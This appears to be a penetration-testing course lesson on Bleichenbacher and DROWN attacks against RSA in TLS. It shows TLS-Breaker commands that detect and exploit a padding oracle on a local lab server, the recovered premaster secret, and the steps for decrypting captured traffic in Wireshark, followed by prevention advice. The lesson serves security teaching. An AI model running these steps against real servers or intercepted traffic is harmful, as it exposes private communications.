Bleichenbacher & DROWN

Additionally to the attacks previously discussed that target padding when symmetric encryption algorithms are used, there are also attacks that target the asymmetric encryption algorithm RSA.

---

Bleichenbacher Attack

Bleichenbacher attacks are a type of attack targeting RSA encryption in combination with PKCS#1 padding, which is often combined with RSA encryption to ensure that the encryption is non-deterministic. This means that encrypting the same plaintext twice results in different ciphertexts, which can be achieved by adding random padding before encryption.

This attack works by sending many adapted ciphertexts to the webserver. The web server decrypts these ciphertexts and checks the conformity of the PKCS#1 padding. If the webserver leaks whether the padding was valid or not, an attacker can deduce information about the original unmodified plaintext. By repeating these steps many times, an attacker eventually obtains enough information about the plaintext to fully reconstruct it.

In the context of TLS 1.2, Bleichenbacher attacks only work when a cipher suite using RSA as the key exchange algorithm was chosen. Furthermore, a flaw in the web server is required that leaks whether the PKCS#1 padding was valid or not. This can either be a verbose error message or a timing side channel. If these conditions are met, a Bleichenbacher attack can lead to complete leakage of the session key which allows an attacker to decrypt the entire communication.

---

DROWN Attack

Decrypting RSA with Obsolete and Weakened eNcryption (DROWN) is a specific type of Bleichenbacher attack that exploits a vulnerability in SSL 2.0. To successfully execute this attack, an attacker needs to intercept a large number of connections. Afterward, the attacker conducts a Bleichenbacher attack against an SSL 2.0 server that uses specifically crafted handshake messages. In particular, SSL 2.0 uses export encryption algorithms that are weak on purpose to comply with government regulations back in the 1990s. However, since the introduction of SSL 2.0 hardware has improved significantly such that it is possible to break these weak encryption algorithms even without the vast resources of government agencies. Additionally, DROWN exploits bugs in old OpenSSL implementations that enable an attacker to break the encryption even faster.

However, DROWN targets SSL 2.0 specifically, which has been deprecated for a long time. Web servers should not support SSL 2.0 anymore, though stumbling over an improperly configured web server with SSL 2.0 enabled may still happen every once in a while in a real engagement.

---

Tools

To execute a Bleichenbacher attack, we can again use the TLS-Breaker tool collection. We can run the Bleichenbacher detection tool like so:

[!bash!]$ java -jar apps/bleichenbacher-1.0.0.jar -h

The tool can extract server information from a pcap-file and test the servers for a Bleichenbacher vulnerability. We can pass the path to a pcap file with the -pcap flag. Alternatively, we could also specify a target server explicitly with the -connect flag:

[!bash!]$ java -jar apps/bleichenbacher-1.0.0.jar -pcap ./bleichenbacher.pcap

<SNIP>
Found 1 servers from the pcap file.                                                                                                                                                           
┌─────────────┬─────────────┬────────┬─────────────┐                                                                                                                                          
│Server Number│Host Address │Hostname│Session Count│                                                                                                                                          
├─────────────┼─────────────┼────────┼─────────────┤                                                                                                                                          
│            1│127.0.0.1:443│-       │            2│                                                                                                                                          
└─────────────┴─────────────┴────────┴─────────────┘                                                                                                                                          
Do you want to check the vulnerability of the server? (y/n):                                                                                                                                  
y

<SNIP>
Found a behavior difference within the responses. The server could be vulnerable.
The server responds with a different number of protocol messages.
Vulnerable:true
Server 127.0.0.1:443 is vulnerable.

We can execute the attack to obtain the premaster secret by passing the -executeAttack flag. This can take some time:

[!bash!]$ java -jar apps/bleichenbacher-1.0.0.jar -pcap ./bleichenbacher.pcap -executeAttack

<SNIP>
09:35:56 [main] INFO : Bleichenbacher - ====> Solution found!
 
02 14 C0 45 01 95 02 4E  E2 D0 BA 68 2B D9 2B 0A
CD 4E 83 7A 8A BC 60 EE  56 A6 4D 6F 48 FE 2D 51
1C 6A A3 CF E4 14 76 3A  AB DA 7F 4A 41 FB FE 70
D1 02 C5 68 38 55 09 96  5F 43 CC B1 86 25 AD 75
EF AB 27 E7 9C BA DB 9C  DE B5 5D CF E0 92 A1 B7
31 C5 25 9C E6 42 71 E9  AE E5 34 83 C4 38 BA 71
5D D9 6E C6 E5 69 49 C8  4B 29 0D 71 EE 70 12 66
8E 6F DD 71 6E 4E E3 26  1D 1A 98 53 D4 04 6B D7
56 98 42 71 72 2F 74 94  D1 96 27 19 EB A9 A2 BD
E8 6D 1C 3E 83 A6 32 54  64 C4 7D ED B7 E3 25 F2
B5 6D 73 37 76 51 2E EC  F5 2F 9B 25 AB 2D AD 27
E3 42 FE D1 72 0E A9 F3  C8 CC 54 8D DC A4 52 03
D1 2E B7 0D 8D 5B A8 C6  54 F5 30 6F 1F 75 00 03
03 46 E1 07 5D 56 F3 82  82 AE AC F9 E9 FA 02 7F
22 BB FB E4 A8 EC CA EF  E3 9E 5B 55 D9 4F FC 38
52 D6 AE 62 54 77 53 01  B7 19 D2 D5 E0 43 A8
09:35:56 [main] INFO : Bleichenbacher - // Total # of queries so far: 20417
214c0450195024ee2d0ba682bd92b0acd4e837a8abc60ee56a64d6f48fe2d511c6aa3cfe414763aabda7f4a41fbfe70d102c568385509965f43ccb18625ad75efab27e79cbadb9cdeb55dcfe092a1b731c5259ce64271e9aee53483c438ba715dd96ec6e56949c84b290d71ee7012668e6fdd716e4ee3261d1a9853d4046bd756984271722f7494d1962719eba9a2bde86d1c3e83a6325464c47dedb7e325f2b56d733776512eecf52f9b25ab2dad27e342fed1720ea9f3c8cc548ddca45203d12eb70d8d5ba8c654f5306f1f7500030346e1075d56f38282aeacf9e9fa027f22bbfbe4a8eccaefe39e5b55d94ffc3852d6ae6254775301b719d2d5e043a8

The tool gives us the padded premaster secret. We have to remove the padding to obtain the unpadded premaster secret. This can be done by stripping everything up until the TLS version, which in this case is TLS 1.2 or 0303 in hex. We can do this using the following command:

[!bash!]$ echo -n 21[...]a8 | awk -F '0303' '{print "0303"$2}'
030346e1075d56f38282aeacf9e9fa027f22bbfbe4a8eccaefe39e5b55d94ffc3852d6ae6254775301b719d2d5e043a8

After obtaining the premaster secret, we can decrypt the entire communication in Wireshark. To do so, we have to open the pcap file in Wireshark and extract the client's random nonce. It can be found in the ClientHello message in the Random field. We can copy the value by right-clicking the field and selecting Copy -> as a Hex Stream:

Now that we know the client's random and premaster secret, we can create a key file. This file has the following format:

PMS_CLIENT_RANDOM <client_random> <premaster_secret>

So, our example key file looks like this:

PMS_CLIENT_RANDOM fa372f5ada56e73ac55da8ab64abe6e544942a86a399b688728480006591e31d 030346e1075d56f38282aeacf9e9fa027f22bbfbe4a8eccaefe39e5b55d94ffc3852d6ae6254775301b719d2d5e043a8

Without the key file, we can only see encrypted data in Wireshark:

We can then tell Wireshark to use this key file to decrypt the TLS traffic. This can be done via Edit -> Preferences -> Protocols -> TLS and specifying the path to the key file under (Pre)-Master-Secret log filename. After doing so, we can now see the decrypted HTTP traffic:

---

Prevention

DROWN can be prevented by disabling SSL 2.0. Most up-to-date operating systems today come with crypto libraries that do not support SSL 2.0 out-of-the-box, so finding web servers vulnerable to DROWN in the wild is very rare, though there might still be a few misconfigured and out-of-date servers out there. Bleichenbacher attacks can be prevented by not revealing padding information to the TLS client. Vulnerable web servers received patches, so keeping web servers up-to-date is sufficient to protect against a plain Bleichenbacher attack.